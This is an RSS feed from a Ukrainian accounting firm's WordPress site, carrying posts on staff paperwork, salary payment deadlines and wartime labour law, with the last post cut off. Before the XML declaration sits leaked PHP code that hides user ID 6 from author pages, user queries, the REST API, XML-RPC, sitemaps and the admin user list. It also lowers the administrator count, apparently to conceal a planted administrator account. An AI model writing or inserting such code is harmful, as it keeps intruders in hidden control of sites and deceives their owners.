add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Фото – Assets</title>
	<atom:link href="https://assets-buh.com.ua/ru/category/staty/kadry/feed/" rel="self" type="application/rss+xml" />
	<link>https://assets-buh.com.ua/ru</link>
	<description>Бухгалтерские услуги, сопровождение для ООО и ФЛП в Киеве</description>
	<lastbuilddate>Wed, 25 Feb 2026 11:01:24 +0000</lastbuilddate>
	<language>ru-RU</language>
	<sy:updateperiod>
	hourly	</sy:updateperiod>
	<sy:updatefrequency>
	1	</sy:updatefrequency>
	<generator>https://wordpress.org/?v=5.7.15</generator>
	<item>
		<title>Кадровые документы в ФЛП 2026</title>
		<link>http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/</link>
					<comments>http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Wed, 25 Feb 2026 11:00:47 +0000</pubdate>
				<category><![CDATA[Кадри]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[ФОП]]></category>
		<category><![CDATA[Кадрові документи]]></category>
		<category><![CDATA[Кадрові документи ФОП]]></category>
		<category><![CDATA[Кадрові документи ФОП 2026]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=4324</guid>

					<description><![CDATA[<p>Документи, які працівник надає обовʼязково роботодавцю  &#160; Для офіційного працевлаштування ФОП має отримати від майбутнього співробітника такі документи: &#160; Паспорт або ID-картка  РНОКПП (ІПН): реєстраційний номер облікової картки платника податків (або відмітка про відмову від нього у паспорті). Трудова книжка або відомості про стаж: працівник може надати паперову трудову книжку (якщо вона досі є). До [&#8230;]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/">Кадрові документи у ФОП 2026</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h5><span style="font-size: 12pt;"><b>Документы, которые работник предоставляет обязательно работодателю </b></span></h5>
<p>&nbsp;</p>
<p><span style="font-size: 12pt;"><span style="font-weight: 400;">Для </span><span style="font-weight: 400;">официального</span><span style="font-weight: 400;"> трудоустройство ФЛП должно получить от будущего сотрудника следующие документы:</span></span></p>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><b>Паспорт или ID-карта </b></span></li>
<li><span style="font-size: 12pt;"><b>РНОКПП (ИНН):</b><span style="font-weight: 400;"> регистрационный номер учетной карточки налогоплательщика (или отметка об отказе от него в паспорте).</span></span></li>
<li><span style="font-size: 12pt;"><b>Трудовая книжка или сведения о стаже:</b><span style="font-weight: 400;"> работник может предоставить бумажную трудовую книжку (если она до сих пор есть). До </span><b>10 июня 2026 года</b><span style="font-weight: 400;"> продолжается переходный период оцифровки бумажных книг и полный переход на электронные трудовые книжки. То есть бумажных книг уже не будет в обороте.</span></span></li>
<li><span style="font-size: 12pt;"><b>Заявление о принятии на работу:</b><span style="font-weight: 400;"> пишется работником собственноручно или по шаблону. </span><span style="font-weight: 400;">При увольнении – заявление на увольнение от работника.</span></span></li>
<li><span style="font-size: 12pt;"><b>Дополнительные документы (при необходимости):</b></span></li>
</ul>
<p><span style="font-weight: 400; font-size: 12pt;">    ◦ Диплом или сертификат по образованию (если должность требует определенной квалификации).</span></p>
<p><span style="font-weight: 400; font-size: 12pt;">    ◦ Медицинская справка/книга (для пищевой сферы, образования, медицины и т.п.).</span></p>
<p><span style="font-weight: 400; font-size: 12pt;">    ◦ Документы о праве на льготы (инвалидность, ВПЛ, наличие детей для налоговой льготы).</span></p>
<p>&nbsp;</p>
<h5><span style="font-size: 12pt;"><b>Действия по военному учету</b></span></h5>
<p>&nbsp;</p>
<p><span style="font-weight: 400; font-size: 12pt;">ФЛП-работодатель в 2026 году не обязан вести военный учет и представлять информацию в ТЦК, и для ФЛП отсутствуют штрафы за неведение такого учета.</span></p>
<p>&nbsp;</p>
<h5><span style="font-size: 12pt;"><b>Обязательные кадровые документы </b></span></h5>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><strong>Сообщение к ДПС.</strong><span style="font-weight: 400;"> Перед началом работы нового сотрудника обязательно подается уведомление о принятии на работу в налоговую службу.</span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><strong>Кадровые приказы:</strong><span style="font-weight: 400;"> на принятие работника на работу, на увольнение, на смену окладов, на отпуска, </span><span style="font-weight: 400;">командировки, премирования и т.п.</span><span style="font-weight: 400;">. </span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><strong>Трудовой договор. </strong><span style="font-weight: 400;">Для ФЛП заключения трудового договора в письменной форме есть </span><b>общим обязательным требованием</b><span style="font-weight: 400;">. Хотя во время действия военного положения разрешена устная форма, специалисты настоятельно рекомендуют использовать письменную или электронную форму договора.</span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><strong>График отпусков.</strong><span style="font-weight: 400;"> Это обязательный документ, в котором должны быть зафиксированы все основные отпуска работников.</span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li> <strong>Табель учета использования рабочего времени.</strong><span style="font-weight: 400;"> Обязателен для ежемесячного заполнения (типичная форма П-5).</span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><strong>Документы об оплате труда.</strong><span style="font-weight: 400;"> Необходимо хранить сведения о начислении и выплате заработной платы.</span></li>
</ul>
<p>&nbsp;</p>
<h5><span style="font-size: 12pt;"><b>Документы, требуемые при проверке Гоструда</b></span></h5>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><b>Штатное расписание</b><span style="font-weight: 400;"> для ФЛП не строго обязательно по закону, но его наличие настоятельно рекомендуется для упорядочения работы и прохождения проверок Гоструда.</span></span></li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="font-size: 12pt;"><b>Правила внутреннего трудового распорядка (ПВТР).</b><span style="font-weight: 400;"> Документ должен быть у каждого работодателя. Обычно их разрабатывают, если в ФЛП работает </span><b>трое и более человек</b><span style="font-weight: 400;">. ПВТР должны быть утверждены протоколом общего собрания трудового коллектива.</span></span></li>
</ul>
<p>&nbsp;</p>
<h5><span style="font-size: 12pt;"><b>Дополнительные кадровые документы</b></span></h5>
<p>&nbsp;</p>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;">• </span><b>Должностные (рабочие) инструкции.</b><span style="font-weight: 400;"> Разрабатываются для каждой должности, указанной в штатном расписании. Они защищают работодателя от претензий работников по объему их обязанностей.</span></span></h1>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;">• </span><b>Личная карточка П-2.</b><span style="font-weight: 400;"> По разъяснениям Гоструда, она </span><b>больше не строго обязательной</b><span style="font-weight: 400;">Однако эксперты советуют продолжать ее ведение, поскольку закон требует вести учет отпусков, а П-2 является самым удобным инструментом для этого.</span></span></h1>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;">• </span><b>Журналы регистрации.</b><span style="font-weight: 400;"> ФЛП должен вести журналы регистрации приказов (по кадровым вопросам длительного и временного хранения) и заявлений работников.</span></span></h1>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;">• </span><b>Электронные трудовые книжки (ЭТК).</b><span style="font-weight: 400;"> В 2026 году идет переходный период оцифровки трудовых книжек (до 10 июня 2026 года). Бумажная книга может использоваться по желанию работника для внесения записей, но хранится у самого работника.</span></span></h1>
<h5><span style="font-size: 12pt;"><span style="font-weight: 400;"><br />
</span><b>Сроки хранения кадровых документов:</b></span></h5>
<h1><span style="font-size: 12pt;"><span style="font-weight: 400;"> Приказы по личному составу (принятие, увольнение), Трудовые договоры, дополнительные соглашения 75 лет после увольнения работника.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">Табели учета рабочего времени – 1 год (но лучше держать подольше на случай проверки). Графики отпусков – 1 год.</span></span></h1>
<p>&nbsp;</p><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/">Кадрові документи у ФОП 2026</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/kadrovi-dokumenti-u-fop-2026/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Как правильно выплачивать зарплату наемным работникам</title>
		<link>http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/</link>
					<comments>http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Thu, 05 Feb 2026 11:37:21 +0000</pubdate>
				<category><![CDATA[Кадри]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[ФОП]]></category>
		<category><![CDATA[Наймані працівники]]></category>
		<category><![CDATA[Нарахування заробітньої плати]]></category>
		<category><![CDATA[Нарахування зп ФОП]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=4294</guid>

					<description><![CDATA[<p>Основные требования (ст. 115 КЗоТ): выплата в рабочие дни; не реже двух раз в месяц: аванс и вторая выплата; между авансом и второй выплатой должно быть не более 16 календарных дней; окончательный расчет должен быть не позднее 7 числа после завершения месяца, за который платится зарплата. Какие даты обычно выбирают для выплаты ЗП: […]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/">Як правильно виплачувати зарплату найманим працівникам</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h5><b>Основные требования (ст. 115 КЗоТ):</b></h5>
<p>&nbsp;</p>
<ul>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400;">выплата в рабочие дни;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400;">не реже двух раз в месяц: </span><span style="font-weight: 400;">аванс и вторая выплата </span><span style="font-weight: 400;">;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400;">между</span><span style="font-weight: 400;"> авансом и второй выплатой должно быть</span><span style="font-weight: 400;"> не более 16 календарных дней;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400;">окончательный расчет должен быть не позднее 7 числа после завершения месяца, за который платится зарплата.</span></li>
</ul>
<p><span style="font-weight: 400;">Какие даты обычно выбирают для выплаты ЗУ: 15 и 31 число или 7 и 22 числа.  </span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">Разберем на примере января:</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">– если аванс выплачивается 15 января, то вторая половина ЗП должна быть не позднее 31 января, то есть нужно, чтобы прошло не более 16 дней после выплаты аванса.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">– если аванс за январь выплачивается 20-22 января, то вторая половина должна быть не позднее 5-7 февраля соответственно. А аванс за февраль: 20-22 февраля</span><span style="font-weight: 400;">о.</span></p>
<p><span style="font-weight: 400;">Можно установить конкретные даты выплаты, но их нужно прописать в колдоговоре или Положении об оплате труда. Мы считаем, что удобнее выбрать 15 и 31 число, чтобы каждый раз не рассчитывать даты. </span></p>
<p><span style="font-weight: 400;">Если день выплаты зарплаты это выходной или праздник, </span><span style="font-weight: 400;">то</span><span style="font-weight: 400;"> зарплата выплачивается накануне</span></p>
<p><span style="font-weight: 400;">  </span></p>
<h5><b>Налоги с зарплаты: НДФЛ, ВЗ и ЕСВ</b></h5>
<p>&nbsp;</p>
<p><span style="font-weight: 400;">Все налоги платит работодатель, но НДФЛ и ВЗ вычитается из оклада и на руки работник получает меньше. А ЕСВ считается от общего оклада и он не уменьшает оклад.  </span><a href="https://t.me/assets_buh/986"><span style="font-weight: 400;">Здесь</span></a><span style="font-weight: 400;"> мы расписали пример с цифрами. </span></p>
<p><span style="font-weight: 400;">Что касается распределения налогов на практике – это происходит по-разному: у каждого работодателя есть собственные договоренности с работниками, потому что часть ЗП могут доплачивать отдельно. Но главное придерживаться уплаты налогов в бюджет по официальному окладу.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">Налоги обычно оплачиваются общей суммой всех работников при выплате зарплаты. Некоторые работодатели могут платить ЗП наличными, и в этот же день – должны быть уплачены налоги. Если ЗП перечислять на карты, то без уплаты налогов банк не проведет платежи по выплате зарплаты. </span></p>
<p>&nbsp;</p>
<h5><b>Особенности выплаты з/п в условиях военного положения</b></h5>
<p>&nbsp;</p>
<p><span style="font-weight: 400;">Работодатель обязан пытаться платить зарплату вовремя. Если задержка из-за боевых действий или форс-мажора, ответственность не применяется, но обязанность выплатить зарплату остается. Также помните, что при проверке, если вы ссылаетесь на форс-мажор, у вас должна быть куча документов с подтверждением. Дешевле все пытаться платить вовремя.</span></p>
<p><span style="font-weight: 400;">Если </span><span style="font-weight: 400;">не хотите</span> <span style="font-weight: 400;">считать</span><span style="font-weight: 400;"> сроки и </span><span style="font-weight: 400;">нет</span><span style="font-weight: 400;"> рисковать штрафами </span><span style="font-weight: 400;">делегируйте</span><span style="font-weight: 400;"> кадровый учет нам, мы закроем все под ключ.</span></p>
<p class="p1">Больше информации о ФЛП можно узнать в нашем телеграмм канале <a href="https://t.me/assets_buh"><span class="s1">ссылка здесь</span></a>.</p>
<p class="p1">Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФЛП или ООО, обращайтесь за <span class="s1"><a href="https://t.me/manager_assets1">ссылкой</a>.</span></p><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/">Як правильно виплачувати зарплату найманим працівникам</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/kak-pravilno-viplachuvaty-zarplatu-najmanim-pratsivnikam/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>19 июля вступили в силу новые трудовые правила во время войны</title>
		<link>http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/</link>
					<comments>http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Thu, 21 Jul 2022 11:27:15 +0000</pubdate>
				<category><![CDATA[Кадри]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[трудові правила]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=1733</guid>

					<description><![CDATA[<p>19 липня набрав чинності Закон від 01.07.2022 № 2352-IX &#8220;Про внесення змін до деяких законодавчих актів України щодо оптимізації трудових відносин&#8221; . Закон передбачає: у період дії воєнного стану усі повідомлення та документи з питань трудових відносин можуть здійснюватися та вестися в електронній формі; &#160; щодо відпусток у період дії воєнного стану: ▪️ надання працівнику [&#8230;]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/">19 липня набули чинності нові трудові правила на час війни</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>19 июля вступил в силу Закон от 01.07.2022 № 2352-IX &quot;О внесении изменений в некоторые законодательные акты Украины по оптимизации трудовых отношений&quot;.</p>
<p>Закон предусматривает:</p>
<ul>
<li>в период действия военного положения все сообщения и документы по трудовым отношениям могут осуществляться и вестись в электронной форме;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>по отпускам в период действия военного положения:</li>
</ul>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> надання працівнику щорічної основної відпустки за рішенням роботодавця може бути обмежено тривалістю 24 календарні дні за поточний робочий рік;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> якщо тривалість щорічної основної відпустки більше 24 календарних днів, то невикористані дні такої відпустки переноситься на період після припинення воєнного стану;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> роботодавець може відмовити працівнику у наданні невикористаних днів щорічної відпустки, але у разі звільнення працівника у період дії воєнного стану йому виплачується грошова компенсація за всі не використані ним дні щорічної відпустки, а також додаткової відпустки працівникам, які мають дітей;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> за заявою працівника, який виїхав за межі території України або набув статусу внутрішньо переміщеної особи, в обов&#8217;язковому порядку надається відпустка без збереження заробітної плати тривалістю, визначеною у заяві, але не більше 90 календарних днів, без зарахування часу перебування у відпустці до стажу роботи, що дає право на щорічну основну відпустку;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> у разі смерті працівника грошова компенсація за не використані ним дні щорічних відпусток, а також додаткової відпустки працівникам, які мають дітей або повнолітню дитину &#8211; особу з інвалідністю з дитинства підгрупи А I групи, що не була одержана за життя, виплачується членам сім&#8217;ї такого працівника, а у разі їх відсутності &#8211; входить до складу спадщини;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> заробітна плата працівникам за весь час відпустки виплачується до початку відпустки, якщо інше не передбачено законодавством, трудовим або колективним договором.</p>
<ul>
<li>возместить работникам и работодателям связанных с трудовыми отношениями денежных сумм, утраченных в результате вооруженной агрессии по отдельному механизму (за счет средств государства-агрессора, а также средств, полученных из/от соответствующих фондов на восстановление Украины);</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>разрешить осуществлять внеплановые проверки с соблюдением законодательства о труде в период военного положения;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>определить понятие совместительства;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>предусмотреть порядок прекращения трудового договора с работником или физическим лицом, использующим наемный труд в случае их смерти, признания судом безвестно отсутствующими или объявления умершими;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>ввести дополнительное основание для расторжения трудового договора – отсутствие работника на работе и информации о причинах такого отсутствия более четырех месяцев;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>ввести дополнительное основание для увольнения работника – невозможность обеспечивать работнику условия труда вследствие того, что необходимые для выполнения работы указанным работником производственные, организационные, технические мощности, средства производства или имущество владельца или уполномоченного им органа уничтожены в результате боевых действий, а также ввести особую процедуру высвобождения таких работников.</li>
</ul><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/">19 липня набули чинності нові трудові правила на час війни</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Изменения к военно-трудовому законодательству</title>
		<link>http://assets-buh.com.ua/ru/zminy-do-voyenno-trudovogo-zakonovodstva/</link>
					<comments>http://assets-buh.com.ua/ru/zminy-do-voyenno-trudovogo-zakonovodstva/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Fri, 15 Jul 2022 11:47:58 +0000</pubdate>
				<category><![CDATA[Кадри]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[воєнно-трудове законодавство]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=1728</guid>

					<description><![CDATA[<p>На час дії воєнного стану законотворці змінили правила, встановлені трудовим законодавством. Це було зроблено Законом № 2136. І ось з&#8217;явився законопроєкт №7251, який наразі очікує на підпис Президента. Розповімо які зміни будуть внесені до спеціальних та тимчасових норм на час війни. Для кого буде діяти «воєнно-трудове» законодавство? Коло осіб, які мають дотримуватися норм Закону № 2136, [&#8230;]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/zminy-do-voyenno-trudovogo-zakonovodstva/">Зміни до воєнно-трудового законодавства</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>К моменту действия военного положения законотворцы изменили правила, установленные трудовым законодательством. Это было сделано <a href="https://docs.dtkt.ua/doc/2136-20" target="_blank" rel="noopener">Законом № 2136</a>. И вот появился <a href="https://itd.rada.gov.ua/billInfo/Bills/Card/39366" target="_blank" rel="noopener">законопроект №7251</a>, который ожидает подпись Президента.</p>
<p>Расскажем, какие изменения будут внесены в специальные и временные нормы на время войны.</p>
<p><strong>Для кого будет действовать «военно-трудовое» законодательство?</strong></p>
<p>Круг лиц, которые должны соблюдать нормы Закона № 2136, расширят.</p>
<p>Сейчас под этот закон попадают работники всех предприятий, учреждений, организаций в Украине независимо от формы собственности, вида деятельности и отраслевой принадлежности, а также лица, работающие по трудовому договору с физическими лицами.</p>
<p>После внесения изменений он будет действовать на <strong>прохождение государственной службы, службы в органах местного самоуправления</strong>, особенности трудовых отношений работников всех предприятий, учреждений, организаций в Украине независимо от формы собственности, вида деятельности и отраслевой принадлежности, <strong>представительств иностранных субъектов хозяйственной деятельности в Украине</strong>, а также лиц, работающих по трудовому договору, заключенному с физическими лицами.</p>
<p>&nbsp;</p>
<p><strong>Изменение существенных условий труда: когда сообщать?</strong></p>
<p>Теперь в <a href="https://docs.dtkt.ua/doc/2136-20#st3" target="_blank" rel="noopener">ст. 3 Закона № 2136</a> отмечено лишь, что обычные правила информирования работников об изменении существенных условий труда во время войны бездействуют. А что все-таки действует? Специальных правил так и не было создано.</p>
<p>Новый закон устраняет этот пробел. Им до <a href="https://docs.dtkt.ua/doc/2136-20#st3" target="_blank" rel="noopener">ст. 3</a> вносятся изменения, которыми предусмотрено: уведомление осуществляется не позднее, чем до введения таких условий. Впрочем, как именно сообщать работнику, и дальше будет оставаться на усмотрение самого работодателя.</p>
<p>&nbsp;</p>
<p><strong>«Нормально-военная» продолжительность рабочего времени</strong></p>
<p>Сейчас согласно <a href="https://docs.dtkt.ua/doc/2136-20#st6" target="_blank" rel="noopener">ст. 6 Закона №2136</a> нормальная продолжительность рабочего времени работников в период военного положения не может превышать 60 часов в неделю. А для работников, которым согласно законодательству устанавливается сокращенная продолжительность рабочего времени, продолжительность рабочего времени не может превышать 50 часов в неделю.</p>
<p>Новым законом этот принцип пересматривается:</p>
<ol>
<li>Нормальная продолжительность рабочего времени в период действия военного положения может быть увеличена до 60 часов в неделю для работников, занятых на объектах критической инфраструктуры (в оборонной сфере, сфере обеспечения жизнедеятельности населения и т.п.).</li>
<li>Для работников, занятых на объектах критической инфраструктуры (в оборонной сфере, сфере обеспечения жизнедеятельности населения и т.п.), которым в соответствии с законодательством устанавливается сокращенная продолжительность рабочего времени, продолжительность рабочего времени в период действия военного положения не может превышать 40 часов в неделю.</li>
</ol>
<p>То есть, вместо соотношения 60/50 устанавливается 60/40 и только для работников, занятых на объектах критической инфраструктуры. Для остальных работников возвращается довоенная норма – 40 часов в неделю (ст. 50 КЗоТ). А для тех, кто работает по сокращенному рабочему времени – норма, установленная ст. 51 КЗоТ.</p>
<p>И еще Закон №2136 требовал участия военных администраций в установлении на предприятиях пяти или шестидневной рабочей недели. По новому закону это уже не нужно – график работы будет устанавливаться самим работодателем без участия военных (даже если в вашем городе работает военная администрация).</p>
<p>&nbsp;</p>
<p><strong>Праздничные дни и дальше не праздничные</strong></p>
<p>Законодатели уточнили редакцию части шестой <a href="https://docs.dtkt.ua/doc/2136-20#st6" target="_blank" rel="noopener">статьи 6 Закона № 2136</a>. Однако о сокращении отмененных на время войны норм КЗоТ речь не идет. Напротив, их расширили.</p>
<p>Так что сейчас не действуют:</p>
<ul>
<li>нормы <a href="https://docs.dtkt.ua/doc/322-08?page=3#st53" target="_blank" rel="noopener">статьи 53</a> (продолжительность работы в канун праздничных, нерабочих и выходных дней),</li>
<li>части первой <a href="https://docs.dtkt.ua/doc/322-08?page=3#st65" target="_blank" rel="noopener">статьи 65</a>,</li>
<li>частей третьей – пятой <a href="https://docs.dtkt.ua/doc/322-08?page=3#st67" target="_blank" rel="noopener">статьи 67</a> да <a href="https://docs.dtkt.ua/doc/322-08?page=3#st71" target="_blank" rel="noopener">статей 71-73</a> (праздничные и нерабочие дни) Кодекса законов о труде Украины.</li>
</ul>
<p>С даты вступления в силу нового закона не будут действовать и нормы статьи 78-1 – по неучету праздничных и нерабочих дней при определении продолжительности ежегодных отпусков. Соответствующие изменения будут внесены и в <a href="https://docs.dtkt.ua/doc/504/96-%D0%92%D0%A0#st5" target="_blank" rel="noopener">ст. 5 Закона об отпусках</a>.</p>
<p>По мнению автора, это не изменение, а скорее уточнение (чтобы нормы КЗоТ не противоречили друг другу). И метод автора по расчету отпускных во время войны правильный – праздничные и нерабочие дни во время войны являются обычными календарными днями, которые исключать из расчета не надо.</p>
<p>&nbsp;</p>
<p><strong>Кадровый учет во время войны</strong></p>
<p>По-прежнему <a href="https://docs.dtkt.ua/doc/2136-20#st7" target="_blank" rel="noopener">ст. 7 Закона № 2136</a>, то, как вести кадровую документацию во время войны, следует решать самому работодателю (а при необходимости – и уничтожать такие документы).</p>
<p>Обновленная редакция настоящей статьи подчеркивает, что в период действия военного положения стороны трудового договора могут договориться об альтернативных способах создания, пересылки и хранения приказов (распоряжений) работодателя, сообщений и других документов по вопросам трудовых отношений и о любом другом доступном способе электронной коммуникации, который был выбран согласно согласию.</p>
<p>&nbsp;</p>
<p><strong>Работники, имеющие детей</strong></p>
